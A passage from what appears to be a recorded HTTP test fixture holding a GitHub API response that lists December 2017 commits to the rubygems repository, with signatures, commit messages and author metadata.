SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpB6V4ACgkQ+c8TQXJk\n+sLlswgAwf7q8UJio7xdicjc17wx3fd/Qt71l7NQbPMwAjs/crzX4a+l3f5RG6Qu\nGQ/vOUngwaPZ8Ike9/jv8k4N4D4U61dcLkauqIxZaGptRIRi0DCE/VqMNIYpRpVp\n12MCihROtl6v2NZPJ3ZetEZoRLVT8vJym5sA8p9LFjtZWaSI6m7K0zcQp1QMPdtI\nSI3CfnlYr/ksuGr19KKdiCsslENL4ptDQELnjhiZCASlbQELA064vdfSAwL2xOeB\n0TSfk/fzF3BAP3aISTTPZFY9pbrsxfq7LSld2QYaKyHUclKwYsU2KVGgEZJ1l5ad\nXCuei6nmCnk+jjjgZIwjoNVMPOipXQ==\n=o2PJ\n-----END PGP SIGNATURE-----","payload":"tree 60b419f7eb748f8a16299d84a57fc78e18088bbd\nparent ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443\nauthor SHIBATA Hiroshi 1514269009 +0900\ncommitter SHIBATA Hiroshi 1514269009 +0900\n\nRelax minitest version for 5.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85","html_url":"https://github.com/rubygems/rubygems/commit/2e18d6557a05440706b4e8cf769675b8846aee85","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"}]},{"sha":"f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-12-26T03:54:31Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-12-26T03:54:31Z"},"message":"[Travis] Test against Ruby 2.5","tree":{"sha":"52186275b933dfea9271e663e2de383b28e376d6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/52186275b933dfea9271e663e2de383b28e376d6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJaQcf3AAoJEAEZW7MV3ahWCcYP/3A6rVhn7LtaOyZsmYry4md1\n+vjK9gQR42CxlWYWB8oTyGmYqPNKGt1Xs3GajrshuDU4cogf4fa9yoeaNTuIGJkj\noBtbG1RuhQAybLm6ek8+pyuzdTIYLXK/DJOtNMFjS36vQtCxKC2HEsM5+hB/vUkM\nvUg4UmjtElh0B8SXSuFDiB7HeZFfrHKWI/dGxHtsxs8y9Eepv46Y9yuqH0+mocSV\nMeaKezGcgUKk1Or4nMYaYWCPvYd600WCMKjMzk70xc/wIl+k/vZ9JW1fEOCmQmX3\nBoKUrHwERL68nz1W1Xwi6Oe6VX8lwFSGV5BLmXOlbJKq1fMlazK5FwoKtpn51+bX\nh7ChLDvgsKp60sN1sWRcINL5+0Q13X2xZ+D9aP9C3PKIJs3u3u9osdOFcMk4y6ds\nWY+V1PC3sb6n+Lclqkvr5IjNPOsxWdh18Cg1H55L3Sa1oc7QqQSu98iqB3mkhMaa\nBqSFxY82WORikP/tmJqkZBwmt8lxoW/ESp8BbAI90ZvB1QQIu23XCldDIfYUd+S2\n8gt7Mm78Iq56gJqppBABDTOkLDvwJ/entndmZgFH0B2phRA/axMV8oIw1ZewWV/K\nQneIaljv62GoKX/ODqSSU6SgcZXoAjvIyP2EhIBd4LJsTE8/hRasZn9QKLT3oBOv\nkaSH1JeRRzQ8UqWpdx3j\n=RxwT\n-----END PGP SIGNATURE-----","payload":"tree 52186275b933dfea9271e663e2de383b28e376d6\nparent ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443\nauthor Samuel Giddins 1514260471 +0700\ncommitter Samuel Giddins 1514260471 +0700\n\n[Travis] Test against Ruby 2.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","html_url":"https://github.com/rubygems/rubygems/commit/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"}]},{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T01:17:54Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T01:17:54Z"},"message":"Auto merge of #2126 - rubygems:fix-broken-tests-with-bundler-gemdeps, r=hsbt\n\nSet whether bundler is used for gemdeps with an environmental variable\n\nIf we confirm to work test suite without vendored bundler and `Gem::USE_BUNDLER_FOR_GEMDEPS = false`, We got a `LoadError` of bundler files and `uninitialized constant Bundler` error.\n\nIt''s better to separate test environment until completely merging bundler.","tree":{"sha":"08c5124bab942927bf20f03075c20f3358d4a841","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/08c5124bab942927bf20f03075c20f3358d4a841"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"bf6853f99c423724a691ffa545b562569845e6fa","url":"https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa","html_url":"https://github.com/rubygems/rubygems/commit/bf6853f99c423724a691ffa545b562569845e6fa"},{"sha":"32dbca01d96e6f99c9339c3ff961da934e158003","url":"https://api.github.com/repos/rubygems/rubygems/commits/32dbca01d96e6f99c9339c3ff961da934e158003","html_url":"https://github.com/rubygems/rubygems/commit/32dbca01d96e6f99c9339c3ff961da934e158003"}]},{"sha":"bf6853f99c423724a691ffa545b562569845e6fa","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T00:40:59Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T00:40:59Z"},"message":"Merge tag ''v2.7.4''","tree":{"sha":"17321eaf906e0a990a7e7b258dc1d9857bf1e85a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/17321eaf906e0a990a7e7b258dc1d9857bf1e85a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bf6853f99c423724a691ffa545b562569845e6fa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpBmpwACgkQ+c8TQXJk\n+sICKAf8C3Y0XCeF2JeTJhHJxETiP4Lh32gyNr4bC4jmE7NRYnHM0mJNUg1XG8sF\nQw5+iaReBW3zJLl8xWUSThqhZV4WRWmQZMKUzZPU1xLVk5pLUkUb6b6PcHnGzedF\nMzsxS7zCbxk9Akiub36vVl7PapbSamwDo3TeCJ8nraBLDIi7RffDRwE8ojjPhG5x\nHPYXU8Z+VvKuyNVSNvFMd1ewnlj3SgZGVorRV8Awg6IOO3sIzhMMg9V2B193cdfW\nA6eoHLcuQohvnHiLRg82pAy94jqIx7xBdgqNnHcmo8t2iCzMYSrKxMqBRCb1NTQs\nIKyLRpuzj/Dm3rJBS7YsAFyIjl/1/A==\n=lwp6\n-----END PGP SIGNATURE-----","payload":"tree 17321eaf906e0a990a7e7b258dc1d9857bf1e85a\nparent 2c223c57d1a2c69335bc02595ad6434efaba7156\nparent ee01b385e34da5f8894f31490d2901c6319ced29\nauthor SHIBATA Hiroshi 1514248859 +0900\ncommitter SHIBATA Hiroshi 1514248859 +0900\n\nMerge tag ''v2.7.4''\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa","html_url":"https://github.com/rubygems/rubygems/commit/bf6853f99c423724a691ffa545b562569845e6fa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"2c223c57d1a2c69335bc02595ad6434efaba7156","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156","html_url":"https://github.com/rubygems/rubygems/commit/2c223c57d1a2c69335bc02595ad6434efaba7156"},{"sha":"ee01b385e34da5f8894f31490d2901c6319ced29","url":"https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29","html_url":"https://github.com/rubygems/rubygems/commit/ee01b385e34da5f8894f31490d2901c6319ced29"}]},{"sha":"ee01b385e34da5f8894f31490d2901c6319ced29","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:47:13Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:47:13Z"},"message":"History","tree":{"sha":"5d64f58833ad5b949fda448e235cc422541a2886","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5d64f58833ad5b949fda448e235cc422541a2886"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ee01b385e34da5f8894f31490d2901c6319ced29","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAuxEACgkQ+c8TQXJk\n+sL1lQf/U4zG9NKk4jeuKUjKnIuPIy3dw0bv3xkvvO2q9BecnleoUOHrrxd2vcfX\nIvmaAJXqBxAqWNp983RYeoRQpMWkCXC8ZnxqY9dEkQZqqIYup/qyLJs7xFHXaoNv\n7pYpgSbDcpegIoTD3BfyRmT5jfrWWcQIjhRziOCq8uJ6GWcE4CeHxnjG/suQnYRY\n+SGR3/jzWhCY0XOG0zN9jECKtguFhVaNyNVOors0IjwX7NP0FYENuBbOc/BcQZRE\n6ULT3V3e8EVlAeCQ0WdmOzbY/qwXkjtQcSMjSZVuf8+uTgVhp3Z3JIWtmBi0+8uq\nIyJK2eRxLotfd56XSSACJ1+k6aWxXw==\n=031f\n-----END PGP SIGNATURE-----","payload":"tree 5d64f58833ad5b949fda448e235cc422541a2886\nparent 8944a6222426aec04863585ad9ad734c8c288e87\nauthor SHIBATA Hiroshi 1514191633 +0900\ncommitter SHIBATA Hiroshi 1514191633 +0900\n\nHistory\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29","html_url":"https://github.com/rubygems/rubygems/commit/ee01b385e34da5f8894f31490d2901c6319ced29","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ee01b385e34da5f8894f31490d2901c6319ced29/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"8944a6222426aec04863585ad9ad734c8c288e87","url":"https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87","html_url":"https://github.com/rubygems/rubygems/commit/8944a6222426aec04863585ad9ad734c8c288e87"}]},{"sha":"8944a6222426aec04863585ad9ad734c8c288e87","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:41:42Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T08:41:42Z"},"message":"Set to release version","tree":{"sha":"83904460eba5e531ef5bf664a505e7992ec78d74","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/83904460eba5e531ef5bf664a505e7992ec78d74"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8944a6222426aec04863585ad9ad734c8c288e87","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAucYACgkQ+c8TQXJk\n+sK3zAf9GVHCuUsQOsTu2mTIOko8ECKOOcTwVJTJQyQCYMdIpfzZRrLZAZrOaP8r\nwGhP8ELro6i5IrXfpmNlQpov8c4sYVgiZB+PmSH7B9W2TzFnaHOwXgKz9VBYJ5oQ\n6sEAPWqdA/2+H1erLczDgD75Fga9nGbgg1TOhQP0p8ggcdGK4eZbB+JtJTPrSolE\nxqEedDIyIhhSTTj8G43Eo/ioHF27QOpCqYuwkEEODb3EcPbU1KEqRugTlS8Ch9Y1\nHMI3exE5c+xT6/F7Qbt1RirIUd/5syi5P+wjUlB6MpN/N4fhbJ0gUbH+Bf4W5mbd\naNqwCdmr2aSruJEdi6sKJZFYI6/H4g==\n=Jl5b\n-----END PGP SIGNATURE-----","payload":"tree 83904460eba5e531ef5bf664a505e7992ec78d74\nparent 21face18669e87790340a0acd95513bc0669f405\nauthor SHIBATA Hiroshi 1514191302 +0900\ncommitter SHIBATA Hiroshi 1514191302 +0900\n\nSet to release version\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87","html_url":"https://github.com/rubygems/rubygems/commit/8944a6222426aec04863585ad9ad734c8c288e87","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8944a6222426aec04863585ad9ad734c8c288e87/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"21face18669e87790340a0acd95513bc0669f405","url":"https://api.github.com/repos/rubygems/rubygems/commits/21face18669e87790340a0acd95513bc0669f405","html_url":"https://github.com/rubygems/rubygems/commit/21face18669e87790340a0acd95513bc0669f405"}]},{"sha":"2c223c57d1a2c69335bc02595ad6434efaba7156","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-25T06:53:18Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-25T06:53:18Z"},"message":"Auto merge of #2127 - nobu:bug/leaked-fds, r=segiddins\n\nFixed leaked FDs\n\n# Description:\n\nRuby CIs have shown leaked FDs messages for a long time, because `Gem::Command#invoke_with_build_args` creates `SilentUI` and leaves it unclosed.\nThe global states should be restored.\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"17b2925b206698fb07fccdff0782c3c8834510bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/17b2925b206698fb07fccdff0782c3c8834510bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c223c57d1a2c69335bc02595ad6434efaba7156","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156","html_url":"https://github.com/rubygems/rubygems/commit/2c223c57d1a2c69335bc02595ad6434efaba7156","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c223c57d1a2c69335bc02595ad6434efaba7156/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ff986d4950ab3ae2748c2627d780438c72954616","url":"https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616","html_url":"https://github.com/rubygems/rubygems/commit/ff986d4950ab3ae2748c2627d780438c72954616"},{"sha":"b1c4eb733bb64f38b7acb774082c81cf21e99a0b","url":"https://api.github.com/repos/rubygems/rubygems/commits/b1c4eb733bb64f38b7acb774082c81cf21e99a0b","html_url":"https://github.com/rubygems/rubygems/commit/b1c4eb733bb64f38b7acb774082c81cf21e99a0b"}]},{"sha":"ff986d4950ab3ae2748c2627d780438c72954616","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:46:10Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:46:10Z"},"message":"Revert \"Set to next release version\"\n\nThis reverts commit eaf298602f914ae9844ac10330fc1b6c8a5ef0bd.","tree":{"sha":"c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ff986d4950ab3ae2748c2627d780438c72954616","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616","html_url":"https://github.com/rubygems/rubygems/commit/ff986d4950ab3ae2748c2627d780438c72954616","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ff986d4950ab3ae2748c2627d780438c72954616/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","url":"https://api.github.com/repos/rubygems/rubygems/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","html_url":"https://github.com/rubygems/rubygems/commit/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 14:59:32 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=2&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: 